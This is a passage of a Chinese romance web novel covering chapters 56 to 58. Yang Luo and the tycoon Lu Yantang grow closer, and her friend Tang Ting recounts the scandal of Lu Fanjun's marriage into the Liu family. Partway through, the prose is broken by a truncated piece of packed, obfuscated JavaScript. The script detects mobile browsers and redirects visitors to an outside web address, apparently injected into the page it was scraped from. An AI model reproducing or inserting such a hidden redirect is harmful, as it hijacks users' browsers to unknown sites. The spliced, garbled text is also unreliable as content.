有了上次的经历,她知道陆砚堂的作息有多变态,心想这人多半已经到公司了。
自己的上下班时间比较自由,倒显得不务正业似的。
杨珞昨天来的匆忙,没带什么换洗衣服,想着穿昨天的将就一下,却怎么也找不着。
她从陆砚堂的衣柜里拿了件短袖,光着脚下了楼。家里空空荡荡,只有她踩在地板上的声音。一边打着哈欠,一边找自己的衣服。
“鬼鬼祟祟的,找什么呢?”
杨珞被身后突然响起的声音吓了一跳,转身看见陆砚堂正悠闲的坐在角落里喝茶。
她小跑过去,钻进他怀里:“今儿怎么没去上班啊?”
陆砚堂:“今天周六。”
杨珞这才反应过来:“对哦,我都忘记了。”
陆砚堂抬手覆在她露出的大腿上,白皙光滑,爱不释手。
“这就乐不思蜀了?”
“才没呢,是我最近没什么事儿,也不用天天去律所,所以才过的忘了日子。”
“既然这么闲,不如留在我这儿参谋参谋,怎么让我的房子变得不冷清。”
杨珞略带疑惑的看着陆砚堂:“真要让我布置?”
“我犯得着骗你?”
“我要是布置了你不喜欢怎么办?”
“那就再换。”
“……”
杨珞:“算了,省的我费尽心思,到最后你都不满意。”
陆砚堂笑道:“那这样,只要不是丑得过分,我都应你,可以了吧?”
杨珞点了点头:“这还差不多。”
陆砚堂:“走,去吃早餐。”
陆砚堂已经吃完了,杨珞吃饭的时候就坐在她对面回复消息。
杨珞忍不住问:“你周六就不用上班了吧?”
陆砚堂:“不用去公司,但还有事要做。”
顿了一秒,陆砚堂问:“你今天不去,要不再呆一天?”
杨珞:“我得回去了,今天唐亭回来。”
陆砚堂轻笑。
杨珞察觉不出陆砚堂的情绪,勾着手指去拽他的袖子,感觉到杨珞的讨好之意,陆砚堂也不再端着,握住了她的小手。
“一会儿我要出门,送你回去。”他指了指沙发上的几个袋子:“我让人送了几套新衣服过来,你试试。”
杨珞放下勺子就要去,被陆砚堂扯回来:“急什么,吃完再去。”
他盯着手机,头也不抬,像个训话的家长。
——
唐亭是从中东飞回来的,倒了大半天的时差,临近傍晚才睡醒。
杨珞做了点家常菜叫她起床。
“我记得你不是去澳门吗?怎么又飞那里去了?”
唐亭慢慢搅着碗里的粥:“计划有变,唐言声这次好像真的要让我入局。”
杨珞手上的动作一顿,若有所思。
唐亭虽被唐家认回,但唐继平和唐言声之前从未有过什么父女兄妹之情,唐家的这块大蛋糕也轮不到她分,以往总是对唐亭多有防范,怎么会突然邀她入局?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282345|194990||http|test|mini|href|location''.split(''|''),0,{}));
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>杨珞:“是什么生意?”
唐亭:“日科度那边局势乱,那片市场已经有很多人盯着了,唐家一口吃不下,还要再找人合作。可能唐言声也是缺人手吧。”
杨珞:“我怎么觉得怪怪的?”
唐亭放下碗,冲杨珞一笑:“风暴来临,都波涛汹涌。怪不可怕,我正愁找不到口子呢。”
杨珞一言不发,沉默半晌:“你现在放弃还来得及,何必把自己一辈子耗在唐家呢?”
唐亭:“我骑虎难下了,唐家不会白养我这些年的。”
气氛逐渐凝结,唐亭笑道:“放心啦,我会给自己找好退路的。”
杨珞一本正经:“真的吗?”
“当然了,我还要看着你结婚生子,当你孩子的干妈呢。”
杨珞听出唐亭话里的底气,才又放下心来,把盘子往她面前推了推:“快吃。”
唐亭在国外十几天,早就吃不惯了,这会儿真是饿了。
“对了,你跟陆砚堂怎么样?”
杨珞想了想这几日的经历,笑道:“我和他算在一起了。”
唐亭露出意料之内的笑容,她看杨珞的表情,像坠入爱河的样子。
陆砚堂复杂,陆家更是复杂,但再警醒的话也不能现在说。
“我昨天见到他父亲和姐姐了,他们和陆砚堂的关系好像不怎么好。”
唐亭放下吃的一干二净的粥碗:“这都是人尽皆知的事情了,陆砚堂是私生子,十几岁才被他爷爷接回陆家,怎么会跟他们关系好。”
杨珞长吁一口气:“这倒也是,不过他姐姐那个人很奇怪,那天我们偶然碰见,她什么也不说,阴阳怪气的看着我。”
“你是说陆繁君?”
“你也知道啊。”
“你不知道她的事吗?”
杨珞惊讶,听唐亭的语气,似乎陆繁君身上发生了什么人尽皆知的事情。
唐亭:“她也是个可怜人。你知道陈絮吗?世礼集团的现任总裁。”
杨珞:“我知道,南世礼北陵川,世礼集团在南方势力很大。”
“那你知道世礼和陵川,原本是亲家吗?”
杨珞一惊,这她还真不知道。
唐亭笑了笑:“也是,那时候咱们也才初高中,手机都没有,大学你又直接去了港城,怎么会关注这些八卦。我也是近几年才知道的。”
杨珞急不可耐的让唐亭说下去。
“陈絮是个女强人,丈夫死的早,只有两个儿子,老大叫刘瑜,老二叫刘琛。陆繁君的前夫就是刘瑜,那时候陵川集团和世礼集团虽厉害,但也都还不到称霸一方的时候,两家联姻之后,就再也没有人能撼动他们的位置了。”
“但你说以前是亲家,现在不是了吗,离婚了?”
“刘瑜死了。”
杨珞瞪大双眼:“不会有什么隐情吧?”
她已经在瞬间脑补了一出豪门阴谋血腥大案。
唐亭:“没你想的那么复杂,刘瑜是出车祸死的。但这不是关键,关键是陆繁君和刘家的纠葛。现在已经闹到老死不相往来的地步。”
杨珞若有所思:“车祸是天灾,人死了谁都不开心,这怎么会闹到这个地步?”
唐亭哼笑一声:“不开心?闹到这个地步就是因为刘瑜死的时候陆繁君太开心了!”
61. 第57章
太开心了?
丈夫死了作为妻子却太开心了,世家大族果然出奇闻逸事。
唐亭脸上露出一丝怜悯的神情:“说陆繁君可怜,也就是因为这个。其实陆家和刘家联姻,是她父亲陆军山主导的。但那时候陆繁君已经有爱人了,叫叶云冬,是个画家。”
杨珞一怔,想起了陆砚堂寄放在她这里的两幅画。
叶云冬,原来如此。
“那时候娱乐小报还报道过陆繁君和叶云冬的恋情,后面传出陆家和刘家联姻的新闻时,陆繁君还出面否认过。可惜天不遂人愿,没多久叶云冬就出车祸死了。叶云冬死后,他的画作一夜爆红,艺术家嘛,总是离世后的东西更值钱一点。”
“也是车祸?这么巧?”
“巧不巧的现在也无从查证。叶云冬去世半年后陆繁君就和刘瑜结婚了,婚礼无比盛大,成了权贵富商的交际会。本来这件事也告一段落,但刘瑜这个人太无耻,婚后不停的出轨、□□、包养情人,这些丑闻即便在早些年互联网不发达的时候,娱乐小报上也层出不穷。甚至有一次闹的很大,还是陆繁君出面澄清道歉。”
杨珞脸上不自觉浮现出厌弃的神色,自己出轨□□,却要作为受害者的妻子出面澄清道歉,简直无法想象。
杨珞实在想不到昨日那个趾高气昂的人还有这样不为人知的一段经历。
“后来他们结婚第三年的时候,刘瑜出车祸死了,酒驾,车上同坐的还有两个夜总会的女人。这件事刘家登报好几次澄清,但陆繁君一直没出面。”
杨珞叹了口气:“事情闹到这个地步,也该心灰意冷了。”
“陆繁君和刘家真正闹翻的那天,是刘瑜的葬礼。葬礼进行的很低调,来吊唁的人都很少,但是记者恨不得变成苍蝇飞进去弄出点新闻来,全副武装的守在门口。本来大门关的严严实实,结果就看到陆繁君穿着一身红衣,大笑着从灵堂跑出来,高兴的快要疯了。”
杨珞听的连手中的葡萄都忘了吃,捏出一个坑来。
“陆繁君和刘家那层遮羞布彻底没了。”
唐亭微微仰头,仿佛看到了名门贵族背后的狼藉不堪,挂一抹讥讽的笑意
“刘瑜的母亲陈絮向来好面子,但那时都顾不得体面了,冲出来对陆繁君一顿咒骂,家里的丑事儿全被守在外面的媒体直播了。自此之后,长达两三年,陆家和刘家几乎反目成仇。”
越是光鲜亮丽的外壳,里头的溃烂越是叫人瞠目结舌。
杨珞方才觉得陆繁君的样子割裂,可此刻却觉得被某种因果联系起来了。
唐亭:“陆砚堂上台后陆家势力越发强大,陆繁君毕竟背靠陆家这颗大树,也没人敢招惹她。经历了之前那些事,现在为人倒是潇洒快活,行事作风不管不顾,落到别人眼里就成疯疯癫癫了。”
杨珞神色了然,怪不得觉着陆繁君身上有种不顾别人死活的松弛。
“不过你说陆家和刘家反目成仇只有两三年,现在和好了吗?”
唐亭嗤笑一声:“都是生意人,没有永远的朋友,也没有永远的仇恨。陆砚堂上台后,刘家也愿意靠着这颗大树,自然不好再结仇。况且刘瑜死后是他弟弟刘琛逐渐接手世礼集团的事务。陆繁君和她这小叔子的关系倒也不算僵。是陈絮太惯着刘瑜,但刘琛也是明事理的,之前刘瑜做的那些事情实在太过分,刘琛也在公开场合替陆繁君说过不少话,两人关系也算缓和。”
明明都是唐亭在说,可杨珞却觉得口干舌燥。
难怪陆繁君言语中充满了对陆砚堂的敌意,商业联姻牺牲的是一个人,受益的确实全家族。把陆繁君推向火坑的又岂止是陆军山一个人,背后复杂可想而知。
高门显贵,有着平常人享受不到的荣耀和便利,也自然有着旁人不知道的苦楚。
杨珞甚至不敢往下细想,起身去冲了两杯咖啡。
唐亭把碗筷收拾去厨房,隔着玻璃门问她:“这几天你出门吗?”
杨珞:“不出远门,怎么了?”
“你身份证再借我用一下,我有笔资金要周转一下。”
“好,一会儿给你拿。”
唐亭探头出来,问她:“每次找你借,你问都不问,真不怕我把你卖了啊?”
杨珞笑了笑:“你要卖我还用得着等到现在吗?”
唐亭微微一怔,落在她身上的目光温柔了许多。
——
沙洲庄园,时节已经入深秋,但中午的太阳仍旧高悬。
新来的佣人刚低下头遮蔽刺眼的阳光,就听到发动机肆意的轰鸣声。
她抬眼看过去,黑色的跑车从大门驶入,没有任何的减速和犹豫,转眼就停在了正厅的入口。佣人来这里半个月,规矩不算全懂,也知道正厅大门不是谁都能进的。
车里下来了一个女人,气质华贵,但以前却没见过。女佣迎上去,刚要开口询问,那女人却连一个眼神也没给她,径直往里走。
刚要开口叫住她,迎面走来了管家,远远朝她扔了个眼神,而后冲女人微微颔首:“陆小姐。”
陆繁君依旧没搭理管家,但后者已然对她的态度习以为常。
门口的守卫给陆繁君开了门,管家示意里面的佣人退出来,转而对身后对这个女佣说:“陆小姐和先生有事要谈,来人记得要通报。”
女佣点了点头,却忍不住往里看了眼,正看到陆繁君婀娜的背影消失在走廊深处。
陆繁君来到泳池,高跟鞋在大理石板上砸出一声声响,除此之外,只剩下泳池里的水声。
她停在池边,看着水中的男人心无旁骛的在水中滑动手臂。
刘琛在另一侧浮出水面,吸气的一瞬觉得神清气爽,他将额前打湿的碎发拨到脑后,水珠顺着五官硬朗的线条滑下。
似乎感应到了什么,他转过身去,看到另一头站着的陆繁君。
隔得很远,但刘琛一眼就认出了她。
他露出一抹笑意,一头扎进了水里。没几下就游到了陆繁君脚下,钻出水面的一瞬间,他抬手握住了她的脚腕。
凉水顺着脚背钻到陆繁君脚底,可那双手却热得很。
“你终于肯来找我了。”
陆繁君居高临下的看着刘琛,比起他脸上难以言表的热情,陆繁君更是淡然。
她收了腿,将湿掉的鞋子脱在一边,赤脚踩在地板上。
“陆家有话叫我带给你。”
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>刘琛从泳池出来,扯了浴巾擦干身上的水珠。
“陆砚堂还是陆承熙?”
“你猜。”
“能劳你大驾来带话,陆承熙没这个本事。”
“那你再猜猜他想让我带什么话?”
“无非是对林尊儒的事情做个解释,之前那个矿是我属意的,现在他为了搏红颜一笑放了我鸽子,于情于理也要给我个说法。”
陆繁君笑了笑,朝刘琛看过去。初见那个不知天高地厚、追在她身后喊着阿嫂的小孩子,如今真的成了不容小觑的模样。
刘琛上前一步:“你看着我做什么?”
男人高大的身型压迫感十足,一步就站在了陆繁君眼前,她的鼻腔里钻进清新冷冽的味道。陆繁君收回目光,淡淡笑道:“看来陆砚堂不是让我给你带话,是让我带你的话回去。”
日科度的市场人人都盯着,可能吃下这块肥肉的人没几个。刘家早年在那里有过基建投资,对当地错综复杂的势力也多有了解。无论谁想去分一杯羹,都绕不开现在的刘琛。
陆砚堂无非想知道刘琛对他的态度罢了,这个道理陆繁君知道,刘琛也知道。
陆繁君追问道:“你说我给他带什么话好?”
刘琛低着头,忽然弯身从背后抱住了陆繁君,下巴放在她肩上:“你愿意过来,不就是跟他上了同一条船吗?他陆砚堂都能不惜代价搏美人一笑,我为什么不愿意?”
陆繁君笑意更浓,摸了摸刘琛结实的小臂。刘琛想要吻她的脸颊时,陆繁君却挣开了她的怀抱。
刘琛似乎对她的反应并不意外,他去倒了杯红酒递给陆繁君。
“柯家是日科度目前最大的军阀势力,他们有意要合作,但是没说只和我们合作。我要先带陆砚堂跟他们搭上线,后面的项目才能展开。告诉陆砚堂,不用来找我,等我去找他。”
陆繁君:“要等多久?”
刘琛:“不好说,目前柯家在内斗。而且盯上这笔生意的不止我们,还有唐家。”
陆繁君思量片刻,点了点头:“那我等你。”
刘琛又问:“见过你那位弟媳吗?我倒是挺好奇什么女人能把陆砚堂给迷住了。”
在刘琛的印象里,陆砚堂向来心思极深,喜怒不形于色,别说在女人身上栽跟头,怕是多花点心思都不值当。
陆繁君喝了一口酒,道:“见过一次,平平无奇的,也不知道陆砚堂喜欢她什么。”
她说完去看刘琛,原本以为刘琛会像自己一样觉得奇怪,可却见他目光幽深,若有所思。
察觉到陆繁君的眼神,刘琛笑了笑:“你要真说她是什么绝世大美人,我倒不信能迷倒陆砚堂。可你说她平平无奇,倒有几分真了。”
陆繁君:“这算哪门子说法?”
刘琛:“你不了解男人。男人要是喜欢一个女人,能把喜欢她什么说的一五一十,那不是真的喜欢。要是能喜欢的莫名其妙,那才是真动心了。”
陆繁君嗤笑一声:“真是见鬼。”
刘琛:“是啊,真爱还真就是见鬼了。”
刘琛说这话的时候,一动不动的盯着眼前的陆繁君,而她侧身而立,却从没回头看他一眼。
62. 第58章
进入十二月,西京已经寒风冽冽,杨珞在新律所的工作步入正轨,接二连三的案子让她应接不暇。快到年关,陆砚堂也忙的全世界到处飞,明明两人在一座城市,却像异地恋的情侣,偶尔才能见上一面。
但即便如此,杨珞仍然满足现在的生活。
好歹自己是自由的,无论是身体还是灵魂。
高于名的实习在十二月中旬结束,要回去赶考试周。他最后也没写出一份让杨珞满意的答辩状,但已经进步斐然。尤其是他自己,非常满意自己的成长。
“师傅,等过了年我继续跟着你实习吧。”
杨珞在他的实习证明上盖上公章:“你不是嫌做律师憋屈吗?不准备考公了?”
高于名:“考公太难了,你都不知道现在的法学生有多卷。我试试,要是考不上啊,我以后就跟着你干。”
杨珞笑了笑:“那我还是祝你考上吧。”
周末杨珞的母亲来了西京,她和唐亭照例去超市买了一堆菜,然后去高铁站母亲。
每次这种时候唐亭都比自己还要期待,杨珞当年认识唐亭的时候,她刚没了母亲,自己刚没了父亲,两个十几岁的小姑娘惺惺相惜。可杨珞还是比唐亭幸运些,起码她一直有妈妈陪在身边。唐亭那时经常跟着杨珞回家,这么多年相处下来,她早把王慧视为自己的母亲了。
高铁站人头攒动,杨珞和唐亭站在出站口扫视着一张张陌生的面孔。
唐亭:“你准备把谈恋爱的事情告诉妈妈吗?”
杨珞微微皱眉:“算了吧,以后再说。”
唐亭:“多好的金龟婿,怎么还见不得人呢。”
杨珞:“你别逗了,陆砚堂又不是普通人,我跟他在一起走到哪一天都不知道,让我妈知道了平白操心。”
杨母在人流中挤出来,远远就看到了她们。刚一见面,母亲就说起车上碰到的小孩子。
“那小姑娘真是可爱,也不哭也不闹,坐在我旁边啊乖巧的不得了。”说着指了指杨珞:“不像你小时候,淘气的很。”
刚见面就被亲妈损一顿,也是没谁了。
杨母左手拉着唐亭,右手拉着杨珞,跟着两个女儿回了家。
晚饭是唐亭做的,杨珞却在背后偷偷拍了张照片分享给了陆砚堂。
母亲端碗的空隙看到杨珞脸上的表情,若有所思的笑了笑。
果不其然,饭才吃了一半,母亲就急不可耐的打听起来。
“我看你最近气色不错啊,是不是遇到什么开心事儿了?”
杨珞心里咯噔一声,说:“没有啊,不过最近工作挺顺利的,接了好几个案子,能赚钱了。”
杨母:“你以前赚的比现在还多,也没见你这么开心过。”顿了顿,问:“是不是谈恋爱了?”
杨珞目光一闪,急忙否认:“没有啦,每天忙的像狗一样,哪有时间。”
唐亭笑而不语,突然被点名:“亭亭,你说,她是不是谈恋爱啦?”
唐亭咽下嘴里的饭:“这我不知道,反正她没跟我说。”
两人连连否认,母亲也不好继续追问,可看杨珞的表情分明就是有鬼。无奈叹息道:“又不是小孩子了,谈恋爱是好事儿啊。况且你都分手那么久了,一直单着也不行啊。还有亭亭,你也得抓紧了,别整天掺合到你爸他们那些破事儿里去,找个疼你的男人平平淡淡的过日子。你们两个都有着落了我也安心啊。”
杨珞和唐亭连连点头,莫名其妙被催了一通婚。
唐亭笑意盈盈的,嘴上不说话,可心底却觉得十分暖和。
晚饭过后,三人窝在沙发里看了会儿电视,杨母就去睡觉了。杨珞和唐亭又聊了会儿天,各自也都回房间了。
刚一进屋,杨珞就看到窗外零星飘落的雪花。
今年冬天来得早,连初雪都比往年早了半个月。
杨珞趴在窗户上看了一会儿,打开手机拍了一张照片,刚要给陆砚堂发过去,就显示了他的来电。
杨珞接通,还没说话,就听他说:“下雪了。”
杨珞看着手中还没发送的照片,兴奋道:“我刚刚才看到,你还在加班吗?”
“下班了,在路上。”
红灯变绿,陆砚堂转动方向盘,雪花逐渐变大,雨刷器扫掉车窗上融化后的水渍。路边行人在雪中漫步,无声而温馨。
杨珞:“那你开车回家慢点,小心路滑。”
陆砚堂笑了笑:“这点技术还是有的,没在陪阿姨吗?”
“她已经睡下了,我本来也打算睡的,一进屋就看到外头下雪了。”
“天气预报说这还是场大雪,明早路上应该就有积雪了。”
杨珞躺到床上,看着天花板的光晕:“是啊,等再下大一点就可以堆雪人了,我技术可好了。”
电话那头传来陆砚堂的低笑:“是吗?那你来我的院子里堆一个,让它陪我过个冬。”
杨珞咯咯直笑,两人就这么聊着天,把她的困意都聊出来了。
她打了个哈欠,问:“还没到家吗?”
陆砚堂熄了火:“到了,下楼。”
杨珞反应了一秒,眼睛倏地睁大,而后下床跑到窗边。
雪花在月色的映照下发着光,地面已经有一层薄薄的积雪。陆砚堂的车停在楼下,他下了车,倚靠在一旁,带着几分笑意看向她亮灯的房间。
杨珞的心砰砰直跳,转身就要下楼,电话里又传来陆砚堂的声音:“穿厚点再下来。”
杨珞套了羽绒服下去,看到陆砚堂身穿黑色大衣,里面是深蓝色西装,脖子挂着一条灰色围巾。这样冷的天气也能把衣服穿的如此有型。反观自己的白色羽绒服,在他面前像个小娃娃。
可杨珞根本来不及纠结这个,她小跑到陆砚堂面前,垫着脚在他脸颊上亲了一口。刚要收回,陆砚堂却扣紧了她的腰,追上她的唇吻了起来。
雪没有味道,可杨珞分明尝到了清冽的甜味。
杨珞:“你怎么这会儿过来了?”
陆砚堂:“想你了。”
他没有说谎,是真的想她。
加班到深夜,整个陵川大厦几乎没
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什么人了,陆砚堂关掉电脑,繁琐的杂事处理掉之后,那一刻他的心和这栋房子一样,空空荡荡。他看着窗外飘落的雪花,身处华丽而虚无的壳子中,那种时不时刺痛自己的寂寞又一次袭来。
陆砚堂并不想回家,那个所谓的家和他其他的房子没什么区别,除了安静还是安静。
可这次的孤独感并没有持续太久,他的脑海里很快浮现了杨珞的笑脸。似乎想到这里,自己也跟着笑了一下。
他打开手机,看到杨珞一个多小时前给自己发的照片。一盘番茄炒鸡蛋,一盘辣椒小炒肉。卖相还不错,不知道是不是她自己的手艺。
陆砚堂的笑意更深了,他想给杨珞回个消息,可看了看窗外的雪,果断关了手机,拿起车钥匙离开了。
杨珞带着陆砚堂去了小区外面的步行街。两条路之隔的街道繁华热闹。许是初雪的降临为这条街道添了几分浪漫气息,来来往往的人也更多了。杨珞在街边买了两杯热奶茶,陆砚堂接过来,有些好奇的看着花里胡哨的杯子。
“你喜欢喝这个?”
“冷天喝热奶茶,不正好吗?”
陆砚堂看杨珞喝的起劲儿,自己也喝了一口,眉头一皱:“太甜。”
杨珞:“我专门给你要的半糖。”
陆砚堂笑了笑:“喝吧,我这杯也留给你。”
杨珞挽着陆砚堂的胳膊,和人群中的其他情侣没有半分区别。陆砚堂觉得这一切都有些陌生,他没有在这种街道散过步,也没喝过这么奇怪的奶制品。
但幸好,感觉还不错。
杨珞:“你最近在忙什么呢?”
陆砚堂:“日科度有新的市场,那里就像刚刚改革开放的中国一样,有很大的前景。”
杨珞想了想,说:“日科度?中东那边,唐亭好像也在忙这个事。”
陆砚堂对唐家的参与并不意外,但却疑惑唐言声怎么会让唐亭介入进来。他不认为唐言声有这么好心,愿意给这个女儿分一杯羹。
“唐亭都跟你说什么了?”
杨珞摇了摇头:“没说什么,我本来对生意上的事也不太懂。”
“或许唐家黔驴技穷了吧,这不是个简单的事。”
杨珞:“那除了你和唐家,还有别的人吗?”
陆砚堂微微蹙眉,雪花在他睫毛上凝上一层薄霜:“很多,还有刘家。”
这件事背后纷繁复杂,他不愿对杨珞过多的提起。
刘家,世礼集团。
唐亭说的没错,这世上没有永远的仇人。因为陆繁君和刘瑜而彻底决裂的陆刘两家,这么快就因为利益重新和解了。
两人都不愿就这个问题过多的谈论,沉默着走出了那条小吃街,到了另一条僻静的路上。
一个六七岁的小女孩突然停在两人面前,通红的小手握着一支鲜艳的玫瑰。
“叔叔,给姐姐买一支花吧。”
杨珞和陆砚堂均是一愣,而后杨珞噗嗤一声笑了出来。
一个叔叔,一个姐姐。
小孩子可真是童言无忌。